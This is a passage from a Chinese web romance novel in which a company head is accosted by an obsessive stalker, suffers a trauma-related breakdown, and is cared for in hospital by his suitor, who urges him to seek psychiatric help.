男人明显是冲着他来,能叫出他的名字。“方霁,我喜欢你,我已经在这等你两天了,我每天最大的愿望就是跟你睡觉,你答应跟我在一起吧。” “你真人比照片上的要漂亮,在看到你出现的那一刻,我感觉就像看到了神仙下凡。” 方霁人生第一次被人当面用“漂亮”二字来形容。 可惜,他不喜欢这个词。 轻微脑震荡尚未完全缓过来,方霁只能听到断断续续的字节,看到对方的嘴唇在面前不断翕动张合,没法凑成完整的句子。 在男人抓住他手腕时,生理性恶心,甩开了,道:“别碰我。” 男人脸上一愣,似乎没料到他会拒绝自己,半是不可置信半是愤怒,质问道:“为什么不给我碰?你不是最听我的话吗?” “我真的好喜欢好喜欢你,你看,我还带了‘你’过来,每天晚上我都会抱着‘你’一块睡觉,就像你真的在我身边一样。” 男人指向花圃的方向,说出的话前言不搭后语,“我给它取名''''方方老婆'''',你肯定会跟我一样很喜欢的吧。老婆全身上下都是我的,我们说好要一辈子在一起。” 方霁偏过头,顺着他手指的方向看过去,只见那里立着一个定制的等身抱枕,一张三次元的脸搭配着一副二次元的身体,看起来非常割裂。 方霁一眼就认出上面是自己的照片,不是从正规渠道得到的,而是当初赵平偷拍后发布到网上造谣的那张。 经过多次处理,照片的画质降低好几级,不细看的话,还以为是张打了马赛克的图。 这人为什么要拿着他的照片定做这种东西? “你弄错人了,我不是你老婆。”方霁尝试推开对方,奈何这一跤不知摔到了哪根神经,导致他好一会都使不上力气,连说话反驳都费劲,更别说将面前这个上百斤的男人推开。 双腿被压麻了,对方有意往他身上来回蹭动。联系上这个行为的含义,方霁再也克制不住,捂住嘴干呕了两下。 “我不可能认错!”男人却没把他的不适放在眼里,神情一会激动一会痴迷,“我从前几天开始怎么都睡不着,肯定是因为我太想你了。你想我吗老婆?我都特地买车票来看你了,你今晚乖乖让我抱着睡觉好不好?” 方霁是在公司大门前被扑倒的,有前台的女员工瞧见,啊了一声,马上跑去叫来公司的保安。 男人被抓住时反抗得特别激烈,两名保安费了好大一番劲才将他制服。 被送入最近的派出所前,男人口中还一直嚷嚷着方霁的名字,丝毫不顾公共场合,各种污言秽语都往外蹦。方霁就算再怎么耳鸣,又不是聋了,还是听见不少。 那名女员工蹲下身,将方霁扶起来,“方总您没事吧?” 方霁没说话,只摇了摇头,表情却不太好看,脸上血色正以肉眼可见的速度在消退。 他拍了拍身上沾到的灰尘,简单整理了一下衣服,旋即若无其事地朝公司内走去。 女员工担心会出事,去通知了方霁的助理。 方霁没有乘电梯上楼,而是径直到了一楼的卫生间,眼闪过方才那名男人出现的情形,脚下加快了步伐。 许多片段与当年在国外时的画面重合上,方霁试图抑制心中的波澜,却发现自己越是抗拒,那些记忆越加汹涌澎湃,不可遏制地占据大脑。 灯光在镜子前投射出一片柔和的光辉,映照着一张苍白如纸的脸颊。 他双手紧紧抓住冰冷的洗手台边缘,仿佛这是唯一可以支撑自己的东西,在猛烈袭来的恶心感驱使下,终究没能抵挡住,开始剧烈地呕吐,一发不可收拾。 刘叉赶到卫生间时,方霁已经吐完一轮,正在洗脸和冲洗残留在洗手池壁上的呕吐物。 里边只有方霁一人,刘叉一眼就锁定目标。“方总,我送您去医院吧!”他下来前听说了在门口发生的事,老板现在的状态明显不对劲。 “不……不用。”方霁坚持道,“我没事,不用去医院。” 然而他这句话刚说完,就又扶着洗手池吐了起来。 刘叉任职几个月,已经对方霁的性格较为熟悉。他从卫生间退出来,另辟蹊径,拨打出去一通电话,希望那人能过来帮忙劝说。 “……” 贺知行接到电话时,穿着休闲装,正陪蓝书柳在逛晋城最大的森林公园,一听是方霁出事,心脏仿佛猝然被人揪了一下。 “怎么了?”蓝书柳看出贺知行面上的凝重。 “没事。”贺知行没告诉蓝书柳实情,只说是公司内部有急事需要他亲自过去处理。 蓝书柳没有强留他,“行,我知道了,你快去吧,晚点我自己叫车回去。” 贺知行点头,随即以最快的速度抵达到公园门口,气息都来不及调整,坐上驾驶座立刻发动车辆驶上道路。 赶到时,方霁已经吐了好几轮,身上直冒冷汗。 刘叉给他倒了温水过来漱口,止吐药也给了,但药效还没来得及发挥,方霁就全部吐了出来。 “不用管我,我自己……有数,呕——” 这可不像心里有数的模样,刘叉尝试了能想到的各种办法,最后只能站在一旁干着急。 好在没多久,贺知行火急火燎赶来,刘叉才如同看见救星般松了半口气。 贺知行快步来到方霁身后。 方霁通过镜子看清了来人,却受惊似的猛然回身,一并躲开了他的触碰,眼神中充斥着警戒与抵触:“别碰我!” “方霁?”贺知行的手僵在了半空中,从那双褐色的眼睛里看到了恐惧、厌恶。 “离我远点。”方霁背靠着洗手台,忍着恶心道。 贺知行见对方排斥他的靠近,尽管心头在滴血,依然后退了两步同他拉开距离。 两人都没再说话,空气中弥漫着压抑,唯有方霁粗重的呼吸声不断响起。他在极力控制自己的情绪,试图恢复平静。 但失败了。 那一吼几乎用尽方霁剩下的所有力气,不一会,他就像断了线的风筝,整个身体当着贺知行的面瘫软了下去。 一瞬间,世界恍若天旋地转,带着他的意识一块陷入混沌。 “方霁!”贺知行瞳孔骤然紧皱,本能地扑上前去,小心翼翼地将方霁揽入怀中,快速抱起。 刘叉愣怔地看着这一幕,直到贺知行的喊声打破寂静:“快去开车!”才回过神来,匆忙奔向停车场。 第52章 第 52 章 贺知行从将方霁抱起来那刻就没撒过手。 车内, 冷色调的氛围被几分慌乱侵扰,贺知行打开放在车座侧方的矿泉水,尝试给方霁喂了点进去, 却又都被他吐了出来。 方霁睁不开眼, 躯壳像是与精神割裂,被单独分离出去, 失去了对其的掌控权。随着呕吐次数的增加, 胃部的烧灼感愈加强烈, 犹如燃起熊熊大火,每一次痉挛带来的都是撕裂般的痛。 后座包括贺知行身上都是一片狼藉, 方霁最后一次吐出来的是胃酸,猩红的血液掺杂其间。贺知行看清, 神情骤变。 方天公司不远处有一家医院, 幸亏现在不是高峰期, 刘叉用了最快的速度, 十分钟不到就将车辆停在了医院门口。 车门打开, 贺知行抱着人快步进入医院大厅,值班的医生护士瞧见, 立刻推来了急救用的转运床。 方霁抵达医院时是意识模糊的, 身上更是连半点力气都没有,只隐约捕捉到贺知行额头上密集的汗珠以及紧蹙的双眉。 在车上时, 对方将他的肩膀握得很牢,现在下车了,对方又将他的手握得很死。 太用力了, 说实话有点疼。 但他说不出话。 …… 刘叉去附近的商场买了一套干净衣裳过来, 交给贺知行。 贺知行扫了一眼自己身上,确实挺狼狈, 于是接过去卫生间换上,出来后转账了对应的金额给刘叉。 回来时,恰好在走廊上遇到负责的医生。 “……患者没有生命危险,但过于剧烈的呕吐导致机体电解质絮乱、胃酸损伤胃黏膜,出现了吐血、昏迷的症状。现在呕吐已经止住,等这瓶水挂完,患者醒后要是没有什么身体不适就可以出院了。” 贺知行认真记下医生的话和一些注意事项。 来到病房前,发现门没关,留有一道两指宽的细缝。贺知行推门进入,屋内除了正躺在床上安静输液的方霁,还有另外一名穿着白大褂的男人。 对方身形颀长,双手自然插在口袋中,无声观察着面前的患者。 听见由远及近的脚步声,回过身,对上贺知行的视线,先开口道:“您好,我是负责外科的严宵。” 简短、无甚感情。 贺知行不是第一次见到对方,上回见面是在裴青川组的那场五人饭局上。 只是依照方霁的情况,怎么说也不至于惊动一个外科医生专程过来。 看出他眼底的疑惑,严宵继续解释道:“吴宏医生目前在这家医院任职,我有幸来此跟随学习一段时间。你们进来的时候,我在一楼大厅。” 关于吴宏医生,贺知行知道。 医学界泰斗,有名的外科医生,资历深厚。秉持着授人以鱼不如授人以渔的道理,积极参与各类医学教育项目,培养了一大批后起之秀,将毕生所学无私奉献给下一代医者,曾多次登上新闻报道。 贺知行对严宵会出现在晋城并不怀疑,只是有些意外会如此凑巧遇上。 两人相视片刻,考虑到房间内尚有病人需要休息,严宵道:“我们去外面说?” 贺知行点头,明白这是有话要对自己说,“好。” 两人一前一后出了病房的门,至走廊的尽头。 “……我刚才看了方先生的基本情况,如果您不介意的话,我可以问几个问题吗?”严宵的声线清冷,明明是一名济世救人的医生,说出来的话却总带着种不近人情、公事公办的意味。 “你问。” “他之前有过胃病史吗?”严宵问。 “没有。”贺知行不假思索道。 严宵隐隐猜到两人的关系,问:“你们在一起这段时间,你有发现他出现什么其他的异样吗?比如突然的心悸、难以入眠、注意力无法集中等。” “他确实没有胃病史,之前的体检也显示一切正常。”在西北地区出差期间,他怀疑过方霁是不是身体上出了问题,所以才特意找人帮忙拿到了方霁最新几次的体检报告。 现下听见严宵这么问,当初那些疑惑再次浮出水面,令他察觉到事情的不对劲。 方霁一定有什么事情瞒着他。 贺知行依据当时方霁脸上的水迹猜测道:“他半个月前应该在卫生间吐过一次。” 严宵道:“方便告知当时发生了什么吗?” 贺知行不觉得这是件难以启齿的事,坦然道:“我准备向他表白。” 严宵一愣,随后陷入短暂沉默。 联系自己的观察,给出最后的猜想:“抱歉,我不是心理学方面的专家,但作为朋友,我建议你在患者愿意配合的情况下,带他去精神科或者心理科看一下。” 他们上次在饭局上聊得不错,四舍五入确实算有一面之缘的朋友。 “你的意思是他有心理疾病?”贺知行的脸色变得难看。 “尚不能完全确定。”严宵平静道:“依据目前的症状来看,可能性较大。” 他这些年出入过不少心理咨询室和相关科室,开导师换了好几个,对心理问题这一块有着一定涉足和了解。 方霁的情况明显和他不一样,更像是经历某种创伤事件后留下的精神障碍,也就是人们常说的PTSD。临床上表现为当创伤再体验时,患者会产生精神痛苦或生理应激反应,具有反复发作的特点,若是无法得到有效治疗,可能伴随终身。 “谢谢提醒。”贺知行准备回到病房,转身的刹那,不经意间瞥见严宵的衣袖之下藏着一抹红色。 如果他没有记错,上回吃饭的时候对方也带着这根红色手绳。 贺知行没有窥探别人隐私的癖好,收回视线离开- 吊瓶内的液体快输完时,方霁也睁眼醒过来。 已经中午,贺知行回了一趟家,用保温桶带了一份蓝书柳亲手煲的红豆莲子粥过来。看到方霁醒了,起身去给他倒了一杯温水过来湿润嘴唇。 方霁确实口渴得厉害,接过后立即仰头,喉结伴随吞咽的动作快速滚动,不一会就喝了个干净,谁知太急,最后一口时还差点呛到。 他用手背随意擦了擦流到下巴的水,将一次性纸杯放到一旁的床头柜上。 “胃都吐空了,先吃点东西吧。”贺知行将保温桶打开,从里面盛了一碗出来,递到方霁手上,“我妈自己做的,食品安全这块可以放心。” 粥味很足,清香四溢。 方霁简单环视了一圈身处的环境,瞬间心下了然。手上端着温热的碗,讪讪道:“你说是阿姨做的,那她是不是知道了……” 贺知行察觉他的顾虑,耐心道:“她不知道你进医院的事。是我和她说想喝粥了,她才做的,你不用有心理压力。” 倘若蓝书柳真知道了方霁进医院的事,肯定是要亲自过来看看的,哪里还会按耐住性子坐在家里。 她的母亲看似温婉,脾气好,实际在一些事情上同样有着自己的坚持与倔强。 方霁松了口气。 “另外,早上的事情我已经了解过了。” 刘叉回公司后先到保卫室调取了发生在门口的监控视频,一份作为证据发给派出所那边,另一份则是贺知行为了弄清早上发生了什么,主动发信息找他索要的。 方霁知道这事瞒不住,毕竟贺知行都冲到他公司来了,亲眼目睹。以他的行事风格,不可能轻易放过事情的原委。 “嗯。”方霁拿起勺子,舀起碗中的粥送入嘴里。 粥体稠而不粘,红豆经过炖煮变得柔软饱满,轻咬即化,带着一丝甜糯的口感。莲子泛着金黄的光泽,躺在众多红豆之中,品相诱人。 贺知行在床边的椅子上坐下,一边注视着方霁的吃相,一边将派出所那边的情况转述给他听。 “早上纠缠你的人名叫郑智章,不是本地人,来自与这里相隔三个省的小城市。患有一定精神疾病,没有稳定工作,平时和父母居住在一起。” 方霁听着他说话,一口接一口喝粥,他胃不舒服,尽管饿了却没法喝太快,只能慢慢地来。等食物进入到胃内,填补那块空缺,才稍微好受些。 “家庭经济尚可,早年在父母的安排撮合下谈过一个女朋友,但对方出于无法忍受他无故暴戾疯狂的精神状态,不到半个月就提出了分手。郑智章感觉遭到背叛,从此对女性丧失了欲望,转而沉溺于虚拟网络世界。” 贺知行声线平稳,柔和与力度兼并,恰似一首精心编排的乐章,是种享受,令人想要一直听下去。 方霁曾经就觉得过他的声音性感好听,语速控制得当,既不显得急切浮躁,又不至于太过拖沓引发听者的困倦。 “直到两个月前,他在网上看到了你的照片。”贺知行说到这收了声,没再继续下去。 方霁听到声音的中断,抬起眼来,就见贺知行的双眼莫名阴沉下去,脸臭得像谁欠了他一个亿似的。 “你那又是什么表情?”方霁问,觉得好笑。 “我有情敌出现了,对方不仅对你心怀不轨,还堵到你公司门口,作为追求者之一,我难道不可以生气吗?”贺知行直言道。 方霁怔愣片刻。倒不是因为对方脸色的陡然转冷,而是想不明白:贺知行究竟是怎么顶着这样一张高冷的脸,说出酸意十足的话? “……少跟个怨夫似的在这唧唧歪歪,你都说了你是追求者,我连正牌男友都没有,要吃醋生气也轮不到你。”方霁嫌弃道,语气里却听不出太多愤怒。 “会有的。”贺知行笃定道。 “什么?” “你的正牌男朋友,我会努力。” 方霁:“……” 我就不该挑起这个话题。 他重新拿起了勺子喝粥。 须臾,贺知行冷不丁又蹦出一句话:“他甚至订做了你的等身抱枕。” 方霁听到“等身抱枕”几个字,喝到一半的粥噎住,旋即剧烈咳起来,整个病房内都回荡着他的声音。 贺知行起身给他重新倒了一杯水过来,下意识伸出手想要为他拍背顺气,但一想到在卫生间时方霁看向他的眼神,很快将手放了下去。 他不怕一切回到原点,只怕方霁不愿意再选择他。 方霁没注意到他的动作,缓过来后生出几分心虚,道:“你……都看见了?” 他记得公司安装在大门口的监控存在视野盲区,按理来说花圃的位置已经超出范围。 “嗯,看见了。” 方霁这时才迟来地觉得尴尬,因为那个抱枕瞧着挺丑的,一点都没有展示出他帅气的原貌。 第53章 第 53 章 贺知行将方霁的尴尬与别扭尽收眼底, 却没选择戳破,接着道:“那个抱枕我已经拿去处理了。” “怎么处理的?” “在派出所后面的空地上烧了。” 方霁一阵愕然,贺知行干出的事完全对不上他的身份。“这难道不算故意破坏他人财物吗?对方没有跟你闹?” 他的确不认识那个叫郑智章的男人, 但凭借他今早对其的第一印象, 也能想象出对方是个难缠的家伙。 贺知行自己也说了,对方患有精神疾病, 他烧了人家最珍视的东西, 不闹腾才有鬼。 “财产损失达到五千元及以上才可以立案追诉。”贺知行见方霁如此在意此事, 不悦地皱了下眉。 “你是在心疼那个抱枕,还是在同情那个差点侵/犯你的男人?” “当然都不是。”方霁立即否认道, 明白他这是误会了,“我没那么圣母去同情一个企图伤害自己的人, 单纯嫌麻烦而已。” “放心, 他不会再找上你。”贺知行却没解释缘由。 方霁见状也没刨根问底。 “他再找上我也没用, 我不喜欢男人。今早我只是没有防备, 公司的安保同样不是摆设, 再发生第二次这种事,那就真可以卷铺盖走人了。” 贺知行这回没跟他探讨性取向的问题, 少顷, 无奈地叹了口气,提醒道:“那你知不知道, 他对你有一定性瘾?” 寻求外界的保护无可厚非,可最重要的,还是自己先搭建起一幢名为“警惕”的堡垒。 否则就算有再多的人保护, 万一哪天突然出现落单的时候呢? 贺知行认为方霁的警惕心和防范意识都还有待提高, 尤其是上回跟着甄均去gay吧,喝得稀烂躺在沙发上。 在那样鱼龙混杂的公开场合里, 但凡有人对他产生歪心思,又或者他真是个罔顾法律的变态,那天将他捡走后直接将过去的梦境动手变成现实,他现在还能这么轻松地说出这些话吗? 方霁的长相,无论是在女性还是男性的眼里,都散发出无法抗拒的魅力。 “郑智章失去了对女性的欲望是不假,却不能以偏概全。”毕竟这个世上除了女人,还有男人。 “他仍旧拥有一个正常男性所具备的生理冲动。从在网上看到你照片的那天开始,他利用互联网搜集了大量与你有关的个人信息。” “且不考虑信息的真实性,光是这一点,就构成非法获取公民个人信息罪。” 郑智章是个患有精神疾病的疯子,才会做出如此偏执可怕的事,但同时又要庆幸他是个真疯子,否则方霁今天遇到的就未必这么简单了。 “那个抱枕,据郑智章的父母所述,他几乎片刻不离地带在身边,包括但不限于吃饭、睡觉、洗澡等,甚至与之进行对话交流。” 贺知行的声音倏然冷了几分:“烧毁之前,我对抱枕进行过检查,在下方发现一个自行改造的插口。” 这也是为什么他宁可冒着刺激一个精神病患者的风险,仍坚持将其烧毁的原因。 他只要一想到对方每天晚上可能对抱枕做过的事,怒意和妒意就在冲破理智枷锁的边缘反复徘徊。 郑智章定制这样一个东西放在家里,为其取名字,就连外出都要随身携带,其中倾注了何种情感可想而知。 “等一下。”方霁抬手制止了贺知行再往下说,尽管对那个抱枕的用途早有所料,当亲耳听到贺知行将这些摆到明面上说破时,他的脸色还是隐隐发白。 尤其最后一句。 “你先别说了,给我点时间缓一下。” 贺知行看出方霁的隐忍,从衣服口袋里掏出一盒药,在铝片板上挤出两粒,和水一块交到他的手上。 “止吐药。”贺知行回去取粥时顺便到药店买了起效快、副作用小的止吐药。 现在距离医院给他注射的止吐针剂已经过去五个小时,如再有呕吐征兆可二次服药。 方霁意外于他的敏锐,接过他给的药,仰头服下。 “对不起,我不是为了刺激你才说这些。”他觉得方霁作为受害人,有了解实情的权利,同时他也想借此问出对方向他隐瞒的事。 方霁没有生气和责怪他。 “医生说你的检查报告上并未显示患有重大疾病,你有怀疑过自己为什么会出现这种情况吗?”如果直接开口问的话,方霁未必会回答。 在他今天送方霁来医院之前,他究竟经历了几次这样的情况? 方霁明显不是普通的呕吐,若是次数太过频繁,可能引起急性胃黏膜病变,导致胃出血,他今天就已经有了朝这方面发展的趋势。 最严重的,还会引起心跳骤停。 方霁手上捏紧纸杯,陷入沉默之中,过了快有一分钟才开口:“晕倒是第一次。” 贺知行听出言外之意:这不是第一次出现呕吐症状。 “我自己的身体状况我心里有数,要真有大问题,没必要故意拖着找死。”他以看似轻松的口吻道:“这几年都是这样过来的,体检报告一直显示的正常。” 方霁还不知道贺知行已经看过他最近几次体检结果的事,但就算知道了也不会介意,反倒可以成为他所说属实的证据之一。 “话说有一点我挺不解的,你今天不是应该陪着阿姨吗,怎么会发现我在公司的事?”方霁看向他,产生怀疑。 贺知行知道方霁肯定有所发觉,道:“是你的助理打了电话给我。” “刘叉?”方霁没有表现出太多意外,分析道:“他其实是你那边的人吧?上回我去华拓山,也是他给了你我的位置。” “为什么我一出事,他不给其他人发消息,反倒第一想到的是找你?” 要说这中间毫无猫腻,方霁是绝对不信的。 这么一想,他跟着甄均去gay吧那次,贺知行后来出现在那里也非常值得深思。 那会甄均跟贺知行彼此互不相识,断然不可能主动发消息给他。极大的可能就是刘叉当天也在酒吧内,或者从他出公司的那一刻起,就密切关注着他的行踪。 “你让刘叉跟踪过我几次?” “一次。” 贺知行对方霁有问必答,没有任何多余的掩饰或者辩解。 “gay吧那次?” “嗯。” “为什么是那次?” “你那段时间心情不好。” “所以你是怕我会一时冲动做出什么蠢事?” 贺知行却不答了,他深知方霁是个好强的人。 但他的沉默同样可以成为一种回答。方霁嗤地一声笑了出来,“贺大总裁,你未免把我看得太脆弱些了吧?” “没有。”贺知行否认道,“我从未将你放在过一个需要人保护的弱势位置上,但你那天确实去了gay吧,脖子下方还留了东西。” 方霁哑然,无话可说。 不过他不记得自己有和谁抱在一起啃的事了,就算真有肯定也马上推开了。 他本身就挺排斥和男人产生过于亲密的肢体接触,觉得要么是贺知行看错,要么就是他那天自己挠了几下,手下没控制好轻重,被对方误当作了吻痕一类。 “想不到小刘看着单纯无害,一样是个两边倒的墙头草,同时赚着两份钱,也不怕哪天鬼敲门。”方霁语气平淡,其中的嘲讽意味却十足。 当然,他不仅仅是嘲讽刘叉,还有自嘲自己的迟钝。居然因为对方平时展现出来的认真和对他的关心,就真信了他是自己这边的人。 看来人活在这世上,唯一能够完全相信的只有自己。 在这一点上,贺知行觉得自己有必要替刘助理解释一下,“刘助理严格意义上来说不算我的人,他首先是方天的员工,再是向我告知你的事。” 刘叉的入职时间是在四个月前,也就是杨氨伙同前助理坑害方霁的公司之后。他是通过方天严苛的招收标准进入公司的,贺知行自认为从始至终只起到了一个引荐的作用,主要还是靠刘叉自身的能力。 刘叉步入社会不超过四年时间,之前的工作由于做得不顺心便果断辞去了,直到贺知行帮他介绍这第二份工作,为了表达感谢,才答应了帮忙留意方霁状态和动向的任务。 “他真正尊敬的老板一直是你,我并未支付过他任何工资,他也从未向我传递过有关方天内部的机密文件。”贺知行说的这些皆为事实。 方霁现在正处于心虚的状态,尽管不满贺知行这种行为,但也生气不起来。 何况贺知行有一点说的对,刘叉虽然多次泄露他的行踪,却没做出过伤害、背叛他的事。 甚至出事的这几次,如果没有刘叉及时通风报信,情况可能会更加糟糕。 这么说,算是功过相抵。 他并非盲目相信了贺知行的话,只是相信了自己的判断。 “另外,你应该清楚,常规的体检只能检查身体上的疾病,并不能准确发现心理问题。” 贺知行一早就看出方霁是在故意转移话题,但还是耐着性子回答了他想知道的,却不代表着他真打算在这件事上轻易放过。 须臾,他道:“方霁,别逃避问题。” “方霁”两个字像是在他口中缱绻缠绕了一圈才被说出,带着点无可奈何和宠溺。方霁听得不自在,下意识反驳道:“谁说我逃避问题了。” “那我们就一起解决它。” “你不是一向迎难而上,坚持遇事就正面解决?” 贺知行坐在没有靠背设计的椅子上,哪怕处于放松下,体态依旧保持得很好。身上匆忙换过一套干净衣裳,尺寸看起来略微显小,衣领后的吊牌都忘了摘,露出半截。 他看着方霁的眼睛,目光专一,缓缓启齿:“我真的很担心你。” 在电话里听到方霁出事时,从未如此憎恶过距离上的残忍,即便两人身处同一座城市,只隔二十分钟的车程,他还是嫌太过漫长和煎熬,恨自己当时不在方霁身边。 握紧方向盘,他的脑海里反复回放着各种可能出现的情况,每种假设都像锋利的刀片割裂着理智与冷静。 空气中漂浮着消毒水特有的清冽气息,混杂着窗外花园传来的淡淡花香,给这个本应严肃的地方添上几抹生机与宁静。 方霁感觉心尖像被那句话挠了一下似的,心跳有些快,特别是对上贺知行那双能够将人吞噬掉的眼睛,险些陷进去。 半晌,他深吸一口气,坦白道:“我已经看过心理医生了。” “什么时候?” “六年前。” “之后呢?” “正如你现在看到的,治疗情况不理想。” 室内出现短暂死寂。 第54章 第 54 章 他这个情况自出事后就一直维持到了现在, 有时吐得狠了,不仅折磨着肉/体,连精神都难逃其难, 生出要将命一块搭在这上面的恐惧来。 幸运的是, 这种痛苦的风暴并非频繁发作,哪怕算上今天, 总共也不超过十次。 发觉自己的异常, 他找过心理医生, 当时给出的意见是口服药物搭配系统脱敏疗法。 是药三分毒,方霁服用了半年左右的药物, 有段时间导致身体激素水平失衡,白天时常困倦不堪, 一个月内体重急剧上升, 长胖了近二十斤。 直到觉得情绪趋于稳定, 便在咨询过当时负责的心理医生后停了药, 接着报了个专业健身教练的课, 将身材渐渐恢复原样。 至于脱敏疗法,他没试过, 倒不是不愿配合治疗, 而是找不到合适的人选。他产生创伤后应激障碍的根本就是与人相关,而非自然灾害或意外事故。 表面上, 他看起来跟正常人一样,能够维持基本的社交活动,如礼节性的握手和共餐等, 但剖开内心深处, 创伤留下的疤痕依旧清晰可见。 一旦遭遇特定情境,强烈的应激反应便会猛烈而至, 像只挣脱桎梏反扑的凶兽,令他这个手无寸刃的普通人毫无招架之力。 恶心与呕吐是最多的。 对于他而言,能够保持当前的状态已是莫大的安慰,很满意了,毕竟那段记忆永远不可能剜除干净。这么多年除了呕吐时带来的灼烧感不是滋味,实际上对他的日常生活没有太多影响。 他能够适应。 “……因为出现由心理引起的呕吐不算频繁,所以后面我就结束了和心理医生的联系,觉得平时多注意一点,掀不起多大的浪花。” “这也是你这些年不愿意找伴侣的原因吗?”贺知行问。他还记得上大学那会,方霁其实是有过找人谈一场恋爱的冲动的,尽管最后没有成功。 一次性纸杯在手中挤压得变了形,里边的水被喝了个干净,只有零星几滴,方霁便放开了去蹂/躏。 “……是。” 贺知行大致猜到了诱导方霁产生应激反应的因素。 “我没法接受和人长时间的亲密接触,无论是异性还是同性。” 好在他没有关系特别亲密的朋友,所以在一定程度上避免了接触的产生。就算是关系较好的甄均,虽然不知道他的情况,也始终在提醒后保持着适当的距离,没有追问缘由。 沉默裹挟着的每一分一秒总显得如有冰封,流逝地格外漫长。 “……你不问我当年发生了什么吗?”方霁放过了那只不成样的纸杯,双手自然交握放在腿上。 病房的窗户敞着,微风丝丝缕缕地吹入,带着思绪飘向不久前。 贺知行的身影闯入视野,眼中满溢着担忧与紧张,却在一声近乎咆哮般的怒吼后,所有动作伐戛然而止,犹如一盏炽热的烛火猝不及防地被水浇灭,光芒瞬息黯淡,取而代之的是错愕、迷惘。 他其实不想抱有那么大的敌意,但在那一刻,身体仿佛启动了自我保护机制,对外界的一切接近表现出抗拒,包括最开始想要帮他的刘叉也不例外,最终只能无奈地选择守在卫生间门外,与他保持一定距离。 如果贺知行问他当年发生了什么的话,他会…… 方霁望着病床上雪白的被面,陡然有些不敢确定了。 他真的能做到坦荡地说出口吗? 那段埋藏已久的往事,恍若一只潘多拉魔盒,装满了痛苦与狼狈。他曾费尽心思才勉强将其封闭,不让过去的阴霾再次侵袭。 贺知行给出超乎意料的回答,“我希望能够解决你的问题,而不是让你再经历一遍当初的痛苦。” “说与不说的权利在于你,如果你做不到说出口,或者有任何犹豫,都可以向我结束这个话题。” 揭开伤疤并非一件容易的事,他不知道当年究竟发生了什么,但既然能够令方霁陷入长达数年心理障碍之中,可见事件的恶劣性和对他的影响性。 “等你真正愿意说出来时,我会再听。” 方霁觉得今天的贺知行很怪,现在的气氛更怪。是因为对方今天没有穿裁剪得体的西装,而是一套不合身的休闲装吗? 他看出贺知行现在身上这套和冲进卫生间找他时穿的那套不同,尽管前者显然试图贴近后者惯常的穿衣风格,细心挑选的衣物看似与他往日常见的形象相差无几,但方霁就是笃定,这不是贺知行原本的衣服。 贺知行向来偏好简洁不张扬的服饰,就连微不足道的图案点缀都会被他排除在外。 他的性格就跟他熨烫平整的衣裳一样,无瑕且精致,每一个细节都被精心雕琢,呈现出一种难以捉摸的完美,让人看不透他心底究竟想的什么。 “贺知行,你今天有点不一样。”方霁晃了晃神。 “哪里不一样?”贺知行不带任何感情地问,语速却放慢了些许,像是在认真听他说话。 “有点温柔。”方霁脱口而出。 贺知行过了片刻,才问:“那你喜欢我吗?” 方霁当然没上当,坚决而无情:“喜欢温柔,但不喜欢你。” 贺知行也不恼,事实上方霁会给出这样的回答他丝毫不意外。 “所以你是希望我对你凶一些?比如把你绑在床头,将所有瞒着我的事一五一十地交代清楚?” 方霁扯了扯唇角,不确定是气笑还是无语,又或者两者兼有。 “算了,你面无表情的脸看着已经够凶了。”- 方霁最后答应去一趟精神科,不过绝对不是出于贺知行的担心,他就是发现那碗红豆莲子粥挺好喝的。 和贺知行确定下来后,他还又要了一碗。 蓝书柳的厨艺属实很好,方霁感觉自己和她比起来都是小巫见大巫。 他们所在的医院内就设有精神科,过去很方便。输完液,喊护士拔了针,简单收拾一番病房,拐转出门挂了精神科的号。 不知道今天是在搞什么促销活动,还是有哪位医学泰斗在此坐镇,精神科门前排队的人很多,男女老少皆有,以青少年数量居多。 就算减去陪同人员,排在方霁前面的也还有十几个,没几个小时到不了他。 方霁掏出手机看了一眼,不是法定节假日,但是周末。学生平常在校忙于学业,选择周末再来医院看病似乎情有可原。 “要不你先回去吧?我自己在这等就行。”方霁道,“阿姨不是后天就要回去了,你趁着这两天再好好陪陪她。” 蓝书柳专程为了儿子飞回来一趟不容易,停留的时间不到一个星期,要是全被他将贺知行独占了去,他也挺不好意思的。 “不用,我会和她解释。”贺知行却坚持留下来。 他做了计划,会去国外看望贺鸿志,届时一块弥补蓝书柳,如果不出意外的话定在一个月后。 方霁听完他的计划没再说什么。 科室门前有一个小型休息厅,成排的□□铁质椅子占据中央,他走过去,在人少的区域挑了个位置坐下。 还有空位,贺知行在他旁边坐下。 方霁本打算刷会视频打发时间,但看了没五分钟,眼皮干涩得厉害,开始上下打架。 他撑不住,熄灭手机放进口袋,向后靠在椅背上,脖子枕着边缘,调整了一个较为舒适的姿势,准备小眯一会。 一个不留神,真给睡沉了过去。再睁眼,却变成了靠在某人肩上。 “我睡到一半靠过来的?”方霁一抬眼,就见近在咫尺坐得板正的贺知行,保持着一惯的端庄与自律。仔细闻的话,一股清新而又略带冷冽的气息悄然涌入鼻腔,使人安心。 他刚才睡得舒服,要不是脖子酸了或许还能再睡上一个小时,就是不知道贺知行保持了多久这个姿势,看着就挺难受的。 贺知行看了一眼从自己肩上离开的人,有些可惜,少顷才挤出一个不那么坚定的“嗯”。 方霁没心思怀疑,直起身的同时伸手捏揉晴明穴,道:“怎么今天会这么困,明明输液的时候已经睡了很久。” 贺知行回忆起方霁中午吃的东西,猜测:“应该是止吐药的副作用。” “头晕或者头疼吗?” 方霁感受了一下,“还好。” “前面还有几个?” 贺知行替他看了一眼显示屏,“两个。” 方霁估计了一下时间,大概还有半个小时就能到他。为了舒缓长时间静坐造成的肌肉酸痛,他从冰冷的金属椅上缓缓起身,伸展四肢,轻轻扭动早已僵硬的脖颈。 “我去一趟洗手间。” 话音未落,仿若绿茵地上骤然生长出藤蔓,迅捷而有力。贺知行的心头被牵扯得一颤,几乎是本能使然抬起手臂,紧紧攥住了方霁的手。 这一下的力道很大,即使贺知行反应过来,立即松开手,方霁还是指尖发麻,残留下压迫感。 对上贺知行那张眉头紧锁的脸,纵使内心略有诧异,他却没什么脾气,“放心,我不是要去吐,更不会突然晕倒,就是水喝多了想去解决一下。” 贺知行跟着站了起来,“我陪你一起去。” 方霁挑了挑眉:“你去了能干嘛,帮我排水不成?”之前腿伤住院那次,贺知行驾轻就熟地扯下他内裤,毫无膈应的模样像个惯犯。 说实话,要是旁边真有人盯着他看,他反倒更加尿不出了。 “你要不怕我扒你裤子就尽管跟上来。” 方霁喜欢从根源上解决问题,每晚贴着贺知行那玩意,他想过如果将贺知行家里的内裤全部烧毁,能不能阻止俯身的情况。 但很快他就否定了。 且不说他能不能潜入贺知行家成功偷出内裤,光是这个行为就挺变态弱智。 贺大总裁不差钱,失去一条内裤,还能买千千万万条内裤继续崛起。 第55章 第 55 章 